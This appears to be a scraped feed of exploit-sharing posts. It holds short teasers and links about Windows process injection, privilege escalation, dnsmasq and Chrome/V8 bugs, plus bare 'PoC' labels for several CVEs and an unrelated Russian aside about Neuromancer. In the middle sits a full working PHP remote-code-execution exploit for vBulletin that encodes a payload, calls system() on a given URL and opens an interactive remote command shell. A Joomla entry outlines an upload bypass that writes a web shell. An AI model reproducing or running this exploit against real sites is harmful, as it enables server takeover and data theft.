KernelCallbackTable Process Injection

Original text: “KernelCallbackTable Process Injection” — S12, Medium (2026). Code blocks and technical implementation details are reproduced verbatim with attribution.

Executive Summary

Windows message handling is everywhere. Every GUI application sits in a message loop waiting for user input and window events. But what happens when an attacker corrupts the callback table that decides which…

https://core-jmp.org/2026/07/kernelcallbacktable-process-injection/

Escalating All The Privileges With Foxit PDF Reader (CVE-2026-57239)

Original text: “Escalating All The Privileges With Foxit PDF Reader (CVE-2026–57239)” — Luke Paris, Paradoxis (July 15, 2026). Code snippets, technical analysis, and detection/mitigation guidance are reproduced verbatim with attribution.

Executive Summary

CVE-2026-57239 is a local privilege escalation vulnerability discovered in Foxit PDF Reader that allows an unprivileged user to escalate privileges to NT AUTHORITYSYSTEM…

https://core-jmp.org/2026/07/escalating-privileges-foxit-pdf-reader-cve-2026-57239/

Dnsmasq DNS Remote Heap Buffer Overflow (CVE-2026-2291)

Original text: “Dnsmasq DNS Remote Heap Buffer Overflow” — David Barksdale, Exodus Intelligence (July 20, 2026). Code snippets, DNS responses, and exploitation details are reproduced verbatim with attribution.

Executive Summary

CVE-2026-2291 is a critical remote code execution vulnerability in dnsmasq, a widely deployed lightweight DNS and DHCP server used in embedded systems, routers, and Linux…

https://core-jmp.org/2026/07/dnsmasq-dns-remote-heap-buffer-overflow-cve-2026-2291/

Redis
*
RCE PoC for 6.2.22, 7.4.9, 8.6.4, 8.8.0

NEUROMANCER
*
timeline:
Книгу Гибсон написал в 80х
Экранизировать пытались с 90х
Прочитал я ее где то в 2007.
Толпы фанатов, тонны ФанФиков, миллионы всякого арта и тд и пт, в итоге - невероятнейший долгострой.
В принципе можно было бы уже ИИ самим подключить, да и закрыть гештальт.
И тем не менее яблоко вываливает:
NEUROMANCER First Teaser

#cyberpunk

Извините, но чет порвало 😆

#cinema #royal

CVE-2026-42533 Nginx
*
heap buffer overflow PoC

Exploiting HTTP Parser Inconsistencies: ACL Bypasses, SSRF, and Cache Poisoning

Original text: “Exploiting HTTP Parsers Inconsistencies” — Rafa, Rafa’s Security Researches (research conducted December 2021 – April 2022). Code blocks, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

HTTP is the connective tissue of the modern web, but the specification leaves enough ambiguity that no two parsers agree on every edge…

https://core-jmp.org/2026/07/exploiting-http-parser-inconsistencies/

CVE-2026-61511 vBulletin
*
Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
*
Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}

SakDriver: Reversing a Windows Kernel Driver Rootkit

Original text: “SakDriver: Reversing a Kernel Driver Rootkit” — 0xSec, 0xsec.gitbook.io. Disassembly screenshots, the command-ID table, indicators of compromise and the YARA figure below are reproduced with attribution captions.

Executive Summary

What began as a routine look at a “Cobalt Strike Beacon” sample turned out to be something far more dangerous: a full Windows kernel-mode…

https://core-jmp.org/2026/07/sakdriver-reversing-kernel-driver-rootkit/

CVE-2026-57827 — Joomla
*
Component Unauthenticated File Upload RCE
Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE

Exploit

CVE-2026-66066 in Ruby on Rails
*
Storage file-read-to-RCE chain

*
PoC

Longinus: Two Security Boundaries in One Bug — Piercing Chrome’s Renderer and the V8 Sandbox with CVE-2026-6307

Original text: “Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE-2026-6307” — Nebula Security, NebuSec (June 29, 2026). Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2026-6307 is a single V8 vulnerability that crosses two security boundaries at once. The root cause…

https://core-jmp.org/2026/07/cve-2026-6307-v8-framestate-type-confusion/

CVE-2026-60004 Gitea RCE
(CVSS 9.8)
*
PoC

CVE-2026-58025 MediaWiki
*
The deserialization flaw could lead to RCE via malicious log imports.
*
PoC